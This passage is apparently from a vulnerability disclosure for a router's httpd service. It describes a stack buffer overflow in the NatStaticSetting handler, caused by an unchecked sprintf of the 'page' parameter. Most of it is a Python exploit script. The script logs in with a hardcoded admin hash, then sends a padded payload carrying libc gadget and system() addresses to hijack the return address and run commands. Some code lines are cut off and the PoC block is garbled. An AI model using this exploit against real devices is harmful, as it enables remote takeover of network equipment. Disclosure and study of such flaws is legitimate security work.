

can override the return address of the function. The attackers can construct a payload to carry out arbitrary code attacks.

### **PoC**

```
| Trust | Trus
```

## Exp

```
import requests
from urllib import parse
from pwn import *
main_url = "http://127.0.0.1:80"
def login_success():
    global password
    url = main_url + "/login/Auth"
    s = requests.Session()
    s.verify = False
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
    data = {"username": "admin", "password": "ce80adc6ed1ab2b7f2c85b5fdcd8babc"}
    data = parse.urlencode(data)
    response = requests.post(url=url, headers=headers, data=data, allow_redirects=Fa
    password = response.cookies.get_dict().get("password")
    print(response)
    if password is None:
        login_success()
    else:
        print(password)
def poc():
    url = main_url + "/goform/NatStaticSetting"
    cmd = b'echo yab....'
```

```
libc_base = 0x40202000
system_offset = 0x0005a270
system_addr = libc_base + system_offset
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8

print(hex(gadget1), hex(gadget2))
headers = {'Cookie': 'password=' + password}
data = b'op=no&page='+ b'A' * (244) + p32(gadget1) + b'A' * 16 + p32(gadget1) +
data = data.decode('latin1')
print(len(data))
response = requests.post(url=url, headers=headers, data=data, allow_redirects=Fa
print(response.text)

if __name__ == "__main__":
login_success()
poc()
```

# **Vul Details**

#### Codes in httpd

```
char s[256]; // [sp+10h] [bp-11Ch] BYREF
   void *v5; // [sp+110h] [bp-1Ch]
   const char *<mark>v6; // [sp+114h] [bp-18h]</mark>
    char *s1; // [sp+118h] [bp-14h]
 7
    void *v8; // [sp+11Ch] [bp-10h]
 8
 9
   v8 = sub 2BA8C(a1, (int)"entrys", (int)&unk E58D0);
10
    s1 = (char *)sub_2BA8C(a1, (int)"op", (int)"no");
11
    sub 4EC58("adv.snat", v8, 126);
12
   MG = (const char *)sub_2BA8C(a1, (int)"page", (int)"1");
13
    sprintf(s, "nat_static.asp?page=%s", v6);
14
```

#### **Attack Effect**

